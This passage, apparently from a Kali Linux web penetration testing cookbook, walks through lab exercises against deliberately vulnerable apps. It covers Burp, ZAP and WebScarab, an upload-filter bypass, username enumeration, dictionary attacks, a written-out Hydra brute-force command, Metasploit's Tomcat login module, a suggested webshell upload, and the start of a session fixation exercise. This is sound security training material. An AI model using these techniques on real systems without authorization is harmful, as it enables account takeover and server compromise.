2. Request interception is enabled by default in Burp Suite; if the page won't load, go to Burp Suite then to Proxy | Intercept and click on the pressed button, Intercept is on:

3. Here we have a file upload form that is supposed to upload only images. Let's try to upload one. Click on Browse and select any image file (PNG, JPG, or BMP):

4. After clicking Open, click Upload and verify that the file was uploaded:

5. Now let's try to see what happens if we upload a different type of file, let's say, an HTML file:

6. Looks like, as mentioned in the exercise description, the server is validating the file type being uploaded. To bypass this restriction, we first enable the request interception in Burp Suite.

7. Browse for the HTML file and try to upload it again.

8. Burp will capture the request:

Here we can see a POST request that is multipart (first Content-Type header) and the delimiter for each part is a long series of dashes (-) and a long number. Next, in the first part, we have the file we want to upload with its information and its own Content-Type.

9. We know the server only accepts images, so let's change the header for one that says that the file we are uploading is an image:

10. Next, we submit the request by clicking Forward if we want to continue intercepting requests, or by disabling the interceptions if we don't.

11. And the upload was successful. If we roll our mouse pointer over the here word we will see that it is a link to our file:

How it works...

In this recipe, we used Burp Suite as a proxy to capture a request after it passed the validation mechanisms established client-side by the application, that is, in the browser, and then modified such request content by changing the Content-Type header and used that to bypass the file type restrictions in the application.

Content-Type is a standard HTTP header set by the client, particularly in POST and PUT requests, to indicate to the server the type of data it is receiving. It's not uncommon for web applications to use this field and the file's extension to filter out dangerous or unauthorized types in applications that allow users to upload files. As we just saw, this sole protective measure is insufficient when it comes to preventing a user to upload malicious content to the server.

Being able to intercept and modify requests is a highly important aspect of any web application penetration test, not only to bypass some client-side validation—as we did in this recipe—but to study what kind of information is sent and to try to understand the inner workings of the application. We also may need to add, remove, or replace some values for our convenience based on that understanding.

See also

It is very important for a penetration tester to understand how the HTTP protocol works. For a better understanding of the different HTTP methods refer to:

- https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol

- https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

Using Burp Suite's Intruder to find files and folders

Burp Intruder is a tool that allows us to replay a request automatically, altering parts of such request accordingly to lists of inputs that we can set or generate according to configurable rules.

Although it's not its main purpose, we can use Intruder to find existing yet nonreferenced files and folders as we can do with previously seen tools such as DirBuster and ZAP's Forced Browse.

In this recipe, we will undertake our first exercise with Burp Suite's Intruder and will use it to browse directories in our vulnerable virtual machine forcefully by using a name list included in Kali Linux.

How to do it...

Let's assume we have already set Burp Suite as a proxy for our browser and have visited WackoPicko (http://192.168.56.11/WackoPicko). Refer to the following steps:

1. In the Target or Proxy tabs, find a request to the WackoPicko's root URL, right-click on it, and select Send to Intruder:

2. Then change to the Intruder tab and then to the Positions tab; you'll see some fields in the request highlighted and surrounded by § symbols. These are the inputs Intruder is going to change on every request. Click on the Clear button to remove all of them.

3. After the last / in the URL we add any character, say an a for example, select it, and click on Add. So this character becomes an insertion point for the list of inputs:

4. Now change to the Payloads tab. We have only one insertion point, so we will have only one Payload set to configure. The Payload type is kept as a Simple list and we are loading the payloads from a file.

5. Now click on the Load button so we can load the payload list from a file and select the file /usr/share/wordlists/dirb/small.txt:

6. To start sending requests to the server, click on Start attack. If you are using the free version of Burp Suite, you will receive a warning about some limitations in Intruder; accept them and the attack will start:

If we sort the results by status (by clicking on the column header), we can see the lowest number on top; remember that 200 is the response code for an existent and accessible file or directory, redirections are 300, and errors are in the range of 400 and 500.

How it works...

What Intruder does is it modifies a request in the specific positions we tell it to and replaces the values in those positions with the payloads defined in the Payloads section. Payloads may be, among other things:

- Simple list: A list that can be taken from a file, pasted from the clipboard, or written down in the textbox

- Runtime file: Intruder can take the payload from a file being read at runtime, so if the file is very large, it won't be loaded fully into memory

- Numbers: Generates a list of numbers that may be sequential or random and presented in hexadecimal or decimal form

- Username generator: Takes a list of email addresses and extracts possible usernames from it

- Bruteforcer: Takes a character set and uses it to generate all permutations inside the length limits specified

These payloads are sent by Intruder in different ways, which are specified by the attack type in the Positions tab. Attack types differ in the way the payloads are combined and permuted in the payload markers:

- Sniper: With a single set of payloads, it places each payload value in every position marked one at a time.

- Battering ram: Like Sniper, it uses one set of payloads; the difference is that it sets the same value to all positions on each request.

- Pitchfork: Uses multiple payload sets and puts one item of each set in each marked positions. Useful when we have predefined sets of data that should not be mixed, for example testing username/password pairs already known.

- Cluster bomb: Tests multiple payloads one against another so that every possible permutation is tested.

As for the results, we can see that there are a couple of existing files with names matching the ones in the list (account and action) and that there's a directory named admin, which probably contains the pages that perform administrative functions in the application, like adding users or content.

Using the ZAP proxy to view and alter requests

OWASP ZAP, similar to Burp Suite, is also more than a web proxy. It not only intercepts traffic; it also has lots of features like the crawler we used in previous chapters, a vulnerability scanner, a fuzzer, and a Brute Force. It also has a scripting engine that can be used to automate activities or to create new functionality.

In this recipe, we will begin the use of OWASP ZAP as a web proxy, intercept a request, and send it to the server after changing some values.

How to do it...

Start ZAP and configure the browser to use it as a proxy. Further, carry out the following steps:

1. Go to OWASP Bricks in the vm_1 and select content exercise number four (http://192.168.56.11/owaspbricks/content-4/):

We can see that the immediate response of the page is an error saying that the user does not exist. There is also SQL code displayed, showing that the application is comparing a field (ua) with a string that is the User-Agent header sent by the browser.

A User-Agent string is a piece of information sent by the browser in every request header to identify itself to the server. This usually contains the name and version of the browser, the base operating system, and the HTML rendering engine.

2. As the User-Agent is set by the browser when sending the request, we cannot do much to change it from within the application. We will use OWASP ZAP to capture the request and set whatever text we want it to contain as the User-Agent. First, enable the interception (called break) in the proxy by clicking on the green circle (turns red on mouse-over) in the toolbar. This will intercept all requests going through the proxy:

3. After enabling the breaks, go to the browser and refresh the page. Go back to ZAP; a new Break tab will appear beside the Request and Response tabs.

4. In the Break tab, we see the request the browser is making when we refresh the page. Here we can change any part of the request; for this exercise we will only change the User-Agent value, for example, changing it to 123456:

5. Submit the request by clicking on the Play icon (blue triangle). This will pause again when a new request is made; if you don't want to continue breaking on every request, use the red circle button to disable interception.

6. Now let's go to the browser again and see the response:

The error still says the user doesn't exist, but the value we introduced is now displayed in the clue code. In future chapters. we will learn how to take advantage of features like this and use them to extract information from the database.

How it works...

In this recipe, we used the ZAP proxy to intercept a valid request in which the server analyzed the header section. We modified the header and verified that the server actually took the value we would provide.

First, we made a test request and discovered that the User-Agent header was being used by the server. Knowing that, we made a valid request and intercepted it with the proxy; this allowed us to see the request once it left the browser. Then we changed the header so the User-Agent contained the information we wanted it to contain and submitted the request to the server, which took and displayed the value we provided.

Another option to change the User-Agent without the need to intercept and manually change requests is to use the User-Agent Switcher Firefox extension we installed in Chapter 1, Setting Up Kali Linux and the Testing Lab. The problem with this is that we would need to set up a different user agent in the extension every time we wanted to test a different value, which is very impractical in a penetration test.

Using ZAP spider

In web applications, a crawler or spider is a tool that automatically goes through a website following all links in it and sometimes filling in and sending forms; this allows us to get a complete map of all of the referenced pages within the site and record the requests made to get them and their responses.

In this recipe, we will use ZAP's spider to crawl a directory in our vulnerable virtual machine vm_1 and we will check on the information it captures.

How to do it...

We will use BodgeIt (http://192.168.56.11/bodgeit/) to illustrate how ZAP's spider works. Refer to the following steps:

1. In the Sites tab, open the folder corresponding to the test site (http://192.168.56.11 in this book).

2. Right-click on GET:bodgeit.

3. From the drop-down menu select Attack | Spider:

4. In the Spider dialog, we can tell if the crawling will be recursive (spider inside the directories found), set the starting point, and other options. For now, we leave all default options as they are and click Start Scan:

5. Results will appear in the bottom panel in the Spider tab:

6. If we want to analyze the requests and responses of individual files, we go to the Sites tab, open the site folder, and look at the files and folders inside it:

How it works...

Like any other crawler, ZAP's spider follows every link it finds in every page included in the scope requested and the links inside it. Also, this spider follows the form responses, redirects, and URLs included in robots.txt and sitemap.xml files, then it stores all requests and responses for later analysis and use.

There's more

After crawling a website or directory, we may want to use the stored requests to perform some tests. Using ZAP's capabilities, we will be able to do the following, among other things:

- Repeat the requests modifying some data

- Perform active and passive vulnerability scans

- Fuzz the input variables looking for possible attack vectors

- Open the requests in the browser

Using Burp Suite to spider a website

With similar functionalities to ZAP, and with some distinctive features and a more easy-to-use interface, Burp Suite is the most used tool for application security testing. Burp Suite can do much more than just crawl a website, but for now, as a part of the reconnaissance phase, we will cover only its spidering features.

Getting ready

Start Burp Suite by going to Kali's Applications menu, then click on 03 - Web Application Analysis | Burpsuite.

Then, configure the browser to use it as proxy through the port 8080.

How to do it...

Burp Suite's proxy is configured by default to intercept all requests, this time we want to browse without interruptions so we need to disable it (Proxy | Intercept | Intercept is on). Then proceed with the following steps:

1. Once using Burp Suite's proxy, in your browser go to bWAPP (http://192.168.56.11/bWAPP); this will register the site and directory on Burp's Target and Proxy tabs.

2. Go to Target | Site map and right-click on the bWAPP folder inside http://192.168.56.11, then select Spider this branch from the context menu:

3. An alert will pop up asking if you want to scan an out-of-scope element (only if you haven't added it to the scope). Click Yes to add it and the spidering will start.

4. At some point, the spider will find a registration or login form; when this happens Burp Suite will show you a dialog asking for information on how to fill the form's fields. We can ignore it and spider will continue, or we can submit some test values and the spider will fill in those values:

5. We can check the spider status in the Spider tab. We can also stop it by clicking on the Spider is running button. Let's stop it now:

6. We can also see how the branch in the Target tab is being populated as the spider finds new pages and directories:

How it works...

Burp's Spider follows the same methodology as other spiders, but it operates in a slightly different way. We could have it running while we browse the site and it will add the links we follow that match the scope definition to the crawling queue.

Just like in ZAP, we can use Burp's crawling results to perform any operation we can perform on any request, like scanning (if we have the paid version), repeat, compare, fuzz, and view in browser, among others.

There's more

Spidering is a mostly automated process where spiders do very little or no checking on the links they are following. In applications with flawed authorization controls or exposed sensitive links and forms, this could cause the spider to send a request to an action or page that performs a sensitive task that could damage the application or its data. Hence, it is very important that spidering is done with extreme care, taking advantage of all the exclusion/inclusion filtering features the tool of choice provides, ensuring that there is no sensitive information or high-risk tasks within the spider scope, and preferably as a last resort to browsing manually through the site.

Repeating requests with Burp Suite's repeater

When analyzing spider's results and testing possible inputs to forms, it may be useful to send different versions of the same request, changing specific values.

In this recipe, we will learn how to use Burp's Repeater to send requests multiple times with different values.

Getting ready

We begin this recipe from the point we left the previous one. It is necessary to have the vm_1 virtual machine running, Burp Suite started in our Kali machine, and the browser properly configured to use it as a proxy.

How to do it...

For this recipe, we will use OWASP Bricks. The following are the steps required:

1. Go to the first of the content exercises (http://192.168.56.11/owaspbricks/content-1/).

2. In Burp Suite, go to Proxy | History, locate a GET request that has an id=0 or id=1 at the end of the URL, right-click on it, and from the menu select Send to Repeater:

3. Now we switch to the Repeater tab.

4. In Repeater, we can see the original request on the left side. Let's click on Go to view the server's response on the right side:

Analyzing the request and response, we can see that the parameter we sent (id=1) was used by the server to look for a user with that same ID, and the information is displayed in the response's body.

5. So, this page in the server expects a parameter called ID, with a numeric parameter that represents a user ID. Let's see what happens if the application receives a letter instead of a number:

The response is an error showing information about the database (MySQL), the parameter types expected, the internal path of the file, and the line of code that caused the error. This displaying of detailed technical information by itself suggests a security risk.

6. So, if the expected value is a number, let's see what happens if we send an arithmetic operation. Change the id value to 2-1:

As can be seen, the operation was executed by the server and it returned the information corresponding to the user ID 1, which is the result of our operation. This suggests that this application may be vulnerable to injection attacks. We'll dig more into them in Chapter 6, Exploiting Injection Vulnerabilities.

How it works...

Burp Suite's Repeater allows us to test different inputs and scenarios for the same HTTP request manually and to analyze the responses the server gives to each of them. This is a very useful feature when testing for vulnerabilities, as one can study how the application is reacting to the various inputs it is given and act accordingly to identify or exploit possible weaknesses in configuration, programming, or design.

Using WebScarab

WebScarab is another web proxy full of features that may be interesting to penetration testers. In this recipe, we will use it to spider a website.

Getting ready

In its default configuration, WebScarab uses port 8008 to capture HTTP requests, so we need to configure our browser to use that port in the localhost as a proxy. We follow steps similar to those of the OWASP ZAP and Burp Suite configurations in the browser; in this case the port must be 8008.

How to do it...

WebScarab can be found in Kali's Applications menu; go to 03 - Web Application Analysis | webscarab. Alternatively, from the terminal, run the webscarab command. Proceed with the following steps:

1. Browse to the BodgeIt application of vulnerable_vm (http://192.168.56.11/bodgeit/). We will see that it appears in the Summary tab of WebScarab.

2. Now we right-click on the bodgeit folder and select Spider tree from the menu:

3. All requests will appear in the bottom half of the Summary and the tree will be filled as the spider finds new files:

The Summary also shows some relevant information about each particular file, like if it has an injection or possible injection vulnerability, if it sets a cookie, if it contains a form, and if the form contains hidden fields. It also indicates the presence of comments in the code or file uploads.

4. If we right-click on any of the requests in the bottom half we will see the operations we can perform on them. We will analyze a request, find the path /bodgeit/search.jsp, right-click on it, and select Show conversation. A new window will pop up showing the response and request in various formats:

6. Now click on the Spider tab:

In this tab, we can adjust the regular expressions of what the spider fetches by using the Allowed Domains and Forbidden Paths textboxes. We can also refresh the results by using Fetch Tree. We can also stop the spider by clicking the Stop button.

How it works...

WebScarab's spider, as with those of ZAP and Burp Suite, is useful to discover all referenced files in a website or directory without having to browse all possible links manually and to analyze in depth the requests made to the server, as well as to use them to perform more sophisticated tests.

Identifying relevant files and directories from crawling results

We already crawled a full application's directory and have the list of all referenced files and directories inside it. The natural next step is to identify which of those contains relevant information or represents an opportunity to have a greater chance of finding vulnerabilities.

More than a recipe, this will be a catalog of common names, suffixes, or prefixes used for files and directories that usually lead to information useful to the penetration tester or to the exploitation of vulnerabilities that may end in complete system compromise.

How to do it...

Here are the steps:

1. The first thing we want to look for are the login and registration pages, the ones that could give us the chance to become legitimate users of the application or to impersonate one by guessing usernames and passwords. Some examples of names or partial names are:

- Account

- Auth

- Login

- Logon

- Registration

- Register

- Signup

- Signin

2. Other common sources of usernames, passwords, and design vulnerabilities related to this type of information, are password recovery pages:

- Change

- Forgot

- Lost-password

- Password

- Recover

- Reset

3. Next, we need to identify if there is an administrative section of the application or some set of functions that may allow us to perform high-privileged tasks on it. For example, we may look for:

- Admin

- Config

- Manager

- Root

4. Other interesting directories are Content Management Systems (CMS) administration, databases, or application servers:

- admin-console

- adminer

- administrator

- couch

- manager

- Mylittleadmin

- phpMyAdmin

- SqlWebAdmin

- wp-admin

5. Testing and development versions of applications are usually less protected and more prone to vulnerabilities than final releases, so they are a good target in our search for weak points. These directories' names may include:

- Alpha

- Beta

- Dev

- Development

- QA

- Test

6. Web server information and configuration files can sometimes provide valuable information about the frameworks, software versions, and particular settings that may be exploitable:

- config.xml

- info

- phpinfo

- server-status

- web.config

7. Also, all directories and files marked with disallow in robots.txt may be useful.

How it works...

Some of the names listed previously and their variations in the language the target application was created in may allow us access to restricted sections of the site, which is a very important step in a penetration test; we cannot find vulnerabilities in places if we ignore they exist. Some of them will provide us with information about the server, its configuration, and the developing frameworks used. Some others, like the Tomcat manager and JBoss administration pages, if wrongfully configured, will let us (or a malicious user) take control of the web server.

Testing Authentication and Session Management

In this chapter, we will cover:

- Username enumeration

- Dictionary attack on login pages with Burp Suite

- Brute forcing basic authentication with Hydra

- Attacking Tomcat's passwords with Metasploit

- Manually identifying vulnerabilities in cookies

- Attacking a session fixation vulnerability

- Evaluating a session identifier's quality with Burp Sequencer

- Abusing insecure direct object references

- Performing a Cross-Site Request Forgery attack

Introduction

When the information managed by an application is not meant to be public, a mechanism is required to verify that a user is allowed to see certain data; this is called authentication. The most common authentication method in web applications nowadays is the use of a username or identifier and a secret password combination.

HTTP is a stateless protocol, which means it treats all requests as unique and doesn't have a way of relating two as belonging to the same user, so the application also requires a way of distinguishing requests from different users and allowing them to perform tasks that may require a series of requests performed by the same user and multiple users connected at the same time. This is called session management. Session identifiers in cookies are the most used session management method in modern web applications, although bearer tokens (values containing user identification information sent in the Authorization header of each request) are growing in popularity in certain types of applications, such as backend web services.

In this chapter, we will cover the procedures to detect some of the most common vulnerabilities in web application authentication and session management, and how an attacker may abuse such vulnerabilities in order to gain access to restricted information.

Username enumeration

The first step to defeating a common user/password authentication mechanism is to discover valid usernames. One way of doing this is by enumeration; enumerating users in web applications is done by analyzing the responses when usernames are submitted in places such as login, registration, and password recovery pages.

In this recipe, we will use a list of common usernames to submit multiple requests to an application and figure out which of the submitted names belongs to an existing user by comparing the responses.

Getting ready

For this recipe, we will use the WebGoat application in the vulnerable virtual machine vm_1 and Burp Suite as proxy to our browser in Kali Linux.

How to do it...

Almost all applications offer the user the possibility of recovering or resetting their password when it is forgotten. It's not uncommon to find that these applications also tell when a non-existent username has been provided; this can be used to figure out a list of existing names:

1. From Kali Linux, browse to WebGoat (http://192.168.56.11/WebGoat/attack), and, if a login dialog pops up, use webgoat as both the username and password.

2. Once in WebGoat, go to Authentication Flaws | Forgot Password. If we submit any random username and that user does not exist in the database, we will receive a message saying that the username is not valid:

3. We can then assume that the response will be different when a valid username is provided. To test this, send the request to Intruder. In Burp's history, it should be a POST request to http://192.168.56.11/WebGoat/attack?Screen=64&menu=500.

4. Once in Intruder, leave the username as the only insertion position:

5. Then, go to Payloads to set the list of users we will use in the attack. Leave the type as Simple List and click on the Load button to load the /usr/share/wordlists/metasploit/http_default_users.txt file:

6. Now that we know the message when a user doesn't exist, we can use Burp to tell us when that message appears in the results. Go to Options | Grep - Match and clear the list.

7. Add a new string to match Not a valid username:

8. Now, start the attack. Notice how there are some names, such as admin, in which the message of an invalid username is not marked by Burp Suite; those are the ones that are valid names within the application:

How it works...

If we are testing a web application that requires a username and password to perform any task, we need to evaluate how an attacker could discover valid usernames and passwords. The slightest difference in responses to valid and invalid users in the login, registration, and password recovery pages will let us find the first piece of information.

Analyzing the differences in responses to similar requests is a task we will always be performing as penetration testers. Here, we used Burp Suite's tools, such as a proxy to record the original request, and Intruder to repeat it many times with variations in the value of a variable (username). Intruder also allowed us to automatically search for a string and indicated to us in which responses that string was found.

Dictionary attack on login pages with Burp Suite

Once we have a list of valid usernames for our target application, we can try a brute force attack, which tries all possible character combinations until a valid password is found. Brute force attacks are not feasible in web applications due to the enormous number of combinations and the response times between client and server.

A more realistic solution is a dictionary attack, which takes a reduced list of highly probable passwords and tries them with a valid username.

In this recipe, we will use Burp Suite Intruder to attempt a dictionary attack over a login page.

How to do it...

We'll use the WackoPicko admin section login to test this attack:

1. First, we set up Burp Suite as a proxy to our browser.

2. Browse to http://192.168.56.102/WackoPicko/admin/index.php?page=login.

3. We will see a login form. Let's try test for both username and password.

4. Now, go to Proxy's history and look for the POST request we just made with the login attempt and send it to Intruder.

5. Click on Clear § to clear the pre-selected insertion positions.

6. Now, we add insertion positions on the values of the two POST parameters (adminname and password) by highlighting the value of the parameter and clicking Add §:

7. As we want our list of passwords to be tried against all users, we select Cluster bomb as the attack type:

8. The next step is to define the values that Intruder is going to test against the inputs we selected. Go to the Payloads tab.

9. In the textbox in the Payload Options [Simple list] section, add the following names:

- user

- john

- admin

- alice

- bob

- administrator

10. Now, select list 2 from the Payload set box. This list will be our password list and we'll use the 25 most common passwords of 2017 for this exercise (http://time.com/5071176/worst-passwords-2017/):

11. Start the attack. We can see that all responses seem to have the same length apart from one: the admin/admin combination has a status 303 (a redirection) and a minor length. If we check it, we can see that it's a redirection to the admin's home page:

How it works...

As for the results, we can see that all failed login attempts get the same response, but one has status 200 (OK) and that is 813 bytes long in this case, so we suppose that a successful one would have to be different, at least in length (as it will have to redirect or send the user to their home page). If it transpires that successful and failed requests are the same length, we can also check the status code or use the search box to look for a specific pattern in responses.

There's more...

Kali Linux includes a very useful collection of password dictionaries and wordlists in /usr/share/wordlists. Some files you will find there are as follows:

- rockyou.tar.gz: The RockYou website was hacked in December 2010, more than 14 million passwords were leaked, and this list includes them. These passwords are archived in this file, so you will need to decompress it before using it:

tar -xzf rockyou.tar.gz

- dnsmap.txt: Contains common subdomain names, such as intranet, ftp, or www; it is useful when brute forcing a DNS server.

- /dirbuster/*: The dirbuster directory contains names of files commonly found in web servers; these files can be used when using DirBuster or OWASP-ZAP's Forced Browse.

- /wfuzz/*: Inside this directory, we can find a large collection of fuzzing strings for web attacks and brute forcing files.

- /metasploit/*: This directory contains all default dictionaries used by Metasploit Framework plugins. It contains dictionaries with default passwords for multiple services, hostnames, usernames, filenames, and many others.

Brute forcing basic authentication with Hydra

THC Hydra (or simply Hydra) is a network online logon cracker; this means it can be used to find login passwords by brute forcing active network services. Among the many services Hydra supports, we can find HTTP form login and HTTP basic authentication.

In HTTP basic authentication, the browser sends the username and password, encoded using base64 encoding, in the Authorization header. For example, if the username is admin and the password is Password, the browser will encode admin:Password, resulting in the string YWRtaW46UGFzc3dvcmQ= and the request header will have a line such as this:

Authorization: Basic YWRtaW46UGFzc3dvcmQ=

Almost every time we see a seemingly random alphanumeric string ending in one or two equal to (=) symbols, that string is base64 encoded. We can easily decode it using Burp Suite's Decoder or the base64 command in Kali Linux. The = symbol may be encoded to be URL-friendly, that is, replaced by %3D in some requests and responses.

In the previous recipe, we used Burp Suite's Intruder to attack a login form; in this recipe, we will use THC Hydra to attack a different login mechanism, HTTP basic authentication.

Getting ready

As well as the password list we used in the previous recipe, in order to execute this dictionary attack, we will need to have a username list. We will assume we already did our reconnaissance and obtained several valid usernames. Create a text file (ours will be user_list.txt) containing the following:

user
john
admin
alice
bob
administrator
user
webgoat
adam
sample

How to do it...

In the directory where both users and password dictionaries are stored in our Kali Linux VM, we do the following:

1. Open a terminal and run hydra, or use the Applications menu in Kali Linux Applications | 05 - Password Attacks | Online Attacks | Hydra.

2. Issuing the command without arguments displays the basic help:

Here, we can see some useful information for what we want to do. By using the -L option, we can use a file containing possible usernames. -P allows us to use a password dictionary. We need to end the command with the service we want to attack, followed by :// and the server, and, optionally, the port number and service options.

3. In the terminal, issue the following command to execute the attack:

hydra -L user_list.txt -P top25_passwords.txt -u -e ns http-get://192.168.56.11/WebGoat

Hydra found two different username/password combinations that successfully logged in to the server.

How it works...

Unlike other authentication methods, such as the form-based one, basic authentication is standard in what it sends to the server, how it sends it, and the response it expects from it. This allows attackers and penetration testers to save precious analysis time on which parameters contain the username and password, how are they processed and sent, and how to distinguish a successful response from an unsuccessful one. This is one of the many reasons why basic authentication is not considered a secure mechanism.

When calling Hydra, we used some parameters:

- -L user_list.txt tells Hydra to take the usernames from the user_list.txt file.

- -P top25_passwords.txt tells Hydra to take the prospective passwords from the top25_passwords.txt file.

- -u—Hydra will iterate usernames first, instead of passwords. This means that Hydra will try all usernames with a single password first and then move on to the next password. This is sometimes useful to prevent account blocking.

- -e ns—Hydra will try an empty password (n) and the username as password (s) as well as the list provided.

- http-get indicates that Hydra will be executed against HTTP basic authentication using GET requests.

- The service is followed by :// and the target server (192.168.56.11). After the next /, we put the server's options, in this case the URL where the authentication is requested. The port is not specified and Hydra will try the default one, TCP 80.

There's more...

It is not recommended performing brute force attacks or dictionary attacks with large numbers of passwords on production servers because we risk interrupting the service, blocking valid users, or being blocked by our client's protection mechanisms.

It is recommended, as a penetration tester, performing this kind of attack using a maximum of four login attempts per user to avoid a blockage; for example, we could try -e ns, as we did here, and add -p 123456 to cover three possibilities: no password, the password is the same as the username, and the password is 123456, which is one of the most common passwords in the world.

See also

So far, we have seen two authentication methods in web applications, namely, form-based authentication and basic authentication. These are not the only ones used by developers; the reader is encouraged to further investigate advantages, weaknesses, and possible implementation failures in methods such as:

- Digest authentication: This is significantly more secure than basic authentication. Instead of sending the username and password encoded in the header, the client calculates the MD5 hash of a value provided by the server, called a nonce, together with their credentials, and sends this hash to the server, which already knows the nonce, username, and password, and can recalculate the hash and compare both values.

- NTLM/Windows authentication: Following the same principle as digest, NTLM authentication uses Windows credentials and the NTLM hashing algorithm to process a challenge provided by the server. This scheme requires multiple request-response exchanges, and the server and any intervening proxies must support persistent connections.

- Kerberos authentication: This authentication scheme makes use of the Kerberos protocol to authenticate to a server. As with NTLM, it doesn't ask for a username and password, but it uses Windows credentials to log in.

- Bearer tokens: A bearer token is a special value, usually a randomly generated long string or a base64-encoded data structure signed using a cryptographic hashing function, which grants access to any client that presents it to the server.

Attacking Tomcat's passwords with Metasploit

Apache Tomcat is one of the most widely used servers for Java web applications in the world. It is also very common to find a Tomcat server with some configurations left by default. Among those configurations, it is surprisingly common to find that a server has the manager web application exposed, that is, the application that allows the administrator to start, stop, add, and delete applications in the server.

In this recipe, we will use a Metasploit module to perform a dictionary attack over a Tomcat server in order to obtain access to its manager application.

Getting ready

If it's the first time you have run Metasploit Framework, you need to start the database service and initialize it. Metasploit uses a PostgreSQL database to store the logs and results, so the first thing we do is start the service:

service postgresql start

Then, we use the Metasploit database tool to create and initialize the database:

msfdb init

Then, we start the Metasploit console:

msfconsole

How to do it...

We could use Hydra or Burp Suite to attack the Tomcat server, but having alternative ways to do things in case something doesn't work as expected, and using alternative tools, should be part of the skill set of any good penetration tester. So, we will use Metasploit in this recipe:

1. The vulnerable virtual machine vm_1 has a Tomcat server running on port 8080. Browse to http://192.168.56.11:8080/manager/html:

2. We get a basic authentication popup requesting a username and password.

3. Open a terminal and start the Metasploit console:

msfconsole

4. When it finishes starting, we need to load the proper module. Type the following in the msf> prompt:

use auxiliary/scanner/http/tomcat_mgr_login

5. We may want to see what parameter it uses:

show options

6. Now, we set our target hosts; in this case, it is only one:

set rhosts 192.168.56.11

7. To make it work a little faster, but not too fast, we increase the number of threads. This means requests sent in parallel:

set threads 5

8. Also, we don't want our server to crash due to too many requests, so we lower the brute force speed:

set bruteforce_speed 3

9. The remainder of the parameters work just as they are for our case, so let's run the attack:

run

10. After failing in some attempts, we will find a valid password, the one marked with a green [+] symbol:

How it works...

By default, Tomcat uses TCP port 8080 and has its manager application in /manager/html. That application uses basic HTTP authentication. Metasploit's auxiliary module we just used (tomcat_mgr_login) has some configuration options worth mentioning here:

- BLANK_PASSWORDS: Adds a test with a blank password for every user tried

- PASSWORD: Useful if we want to test a single password with multiple users or to add a specific one not included in the list

- PASS_FILE: The password list we will use for the test

- Proxies: If we need to go through a proxy to reach our target, or to avoid detection, this is the option we need to configure

- RHOSTS: The host, hosts (separated by spaces), or file with hosts (file: /path/to/file/with/hosts) we want to test

- RPORT: The TCP port in the hosts being used by Tomcat

- STOP_ON_SUCCESS: Stop trying a host when a valid password is found for it

- TARGERURI: Location of the manager application inside the host

- USERNAME: Defines a specific username to test; it can be tested alone or added to the list defined in USER_FILE

- USER_PASS_FILE: A file containing username/password combinations to be tested

- USER_AS_PASS: Try every username in the list as its password

There's more...

Once we gain access to a Tomcat server, we can see and manipulate (start, stop, restart, and delete) the applications installed therein:

Also, we can upload our own applications, including ones that execute commands in the server. It is left as an exercise to the reader to upload and deploy a webshell to the server and execute system commands in it. Kali Linux includes many useful webshell source codes in /usr/share/webshells:

Manually identifying vulnerabilities in cookies

Cookies are pieces of information that servers store in the client computer, persistently or temporarily. In modern web applications, cookies are the most common way of keeping track of the user's session. By saving session identifiers generated by the server stored in the user's computer, the server is able to distinguish between different requests made from different clients at the same time. When any request is sent to the server, the browser adds the cookie and then sends the request so that the server can distinguish the session based on the cookie.

In this recipe, we will see how to identify common vulnerabilities in cookies that would allow an attacker to hijack the session of a valid user.

How to do it...

It's recommended to delete all cookies before doing this recipe. It may get confusing to have cookies from many different applications, as all of those applications are in the same server and all cookies belong to the same domain:

1. Browse to http://192.168.56.11/WackoPicko/.

2. We can use the Cookies Manager browser add-on to check the cookies' values and parameters. To do this, just click on the add-on's icon and it will display all cookies currently stored by the browser.

3. Select any cookie, for example PHPSESSID from the domain 192.168.56.11, and double-click on it, or click Edit to open a new dialog to view and be able to change all of its parameters:

PHPSESSID is the default name of session cookies in PHP-based web applications. By looking at the parameter's values in this cookie, we can see that it can be sent by secure and insecure channels (HTTP and HTTPS) and that it can be read by the server and also by the client through scripting code, because it doesn't have the Secure (noticed by the Send For: Any type of connection parameter) and HTTP Only flags enabled. This means that the sessions in this application may be hijackable.

4. We can also use the browser's Developer Tools to view and modify cookie values. Open the Developer Tools and go to Storage:

In this screenshot, we selected a cookie called session, which only has an effect over the WackoPicko directory in the server (given by the Path parameter); it will be erased when the browser is closed (Expires: "Session") and as with PHPSESSID, it doesn't have the HttpOnly and Secure flags enabled, hence it can be accessed via scripting (HttpOnly) and will be transmitted via either HTTP or HTTPS (Secure).

How it works...

In this recipe, we just checked some values of a cookie. Although not as spectacular as others, it is important to check the cookie configuration in every penetration test we perform; an incorrectly configured session cookie opens the door to a session hijacking attack and the misuse of a trusted user's account.

If a cookie doesn't have the HTTPOnly flag enabled, it can be read by scripting, which means that if there is a Cross-Site Scripting (XSS) vulnerability, which we will see in later chapters, the attacker will be able to get the identifier of a valid session and use that value to impersonate the real user in the application.

The Secure attribute, or Send For Encrypted Connections Only in Cookies Manager, tells the browser to only send or receive this cookie over encrypted channels. This means sending only via an HTTPS connection. If this flag is not set, an attacker could perform a man-in-the-middle (MiTM) attack and force the communication to be unencrypted, exposing the session cookie in clear text, which takes us again to a scenario where the attacker can impersonate a valid user by having their session identifier.

There's more...

As PHPSESSID is the default name for PHP session cookies, other platforms have known names for theirs:

- ASP.NET_SessionId is the name for an ASP .Net session cookie

- JSESSIONID is the session cookie for JSP implementations

OWASP has a very thorough article on securing session cookies: https://www.owasp.org/index.php/Session_Management_Cheat_Sheet.

Attacking a session fixation vulnerability

When a user loads the home page of an application, it sets a session identifier, be it a cookie, token, or internal variable; if, once the user logs in to the application, this is when the user enters into a restricted area of the application that requires a username and password or other type of identification, this identifier is not changed, then the application may be vulnerable to session fixation.

A session fixation attack occurs when the attacker forces a session ID value into a valid user, and then this user logs in to the application and the ID provided by the attacker is not changed. This allows for the attacker to simply use the same session ID and hijack the user's session.

In this recipe, we will learn the process of a session fixation attack by using one of the applications in the vulnerable virtual machine vm_1.

How to do it...

WebGoat has a somewhat simplistic, yet very illustrative, exercise on session fixation. We will use it to illustrate how this attack can be executed:

1. In the Kali VM, log in to WebGoat and go to Session Management Flaws | Session Fixation in the menu.

2. We are in the first stage of the attack. The description says we are an attacker attempting to send a phishing email to our victim to force a session ID of our choice. Replace the href value in the HTML code with the following (be careful of the capitalization as the server is case-sensitive):

/WebGoat/attack/?Screen=56&menu=1800&SID=fixedsessionID

The important part here is the SID parameter, which contains a session value controlled by us, the attacker.

3. Click on Send Mail to go to STAGE 2.

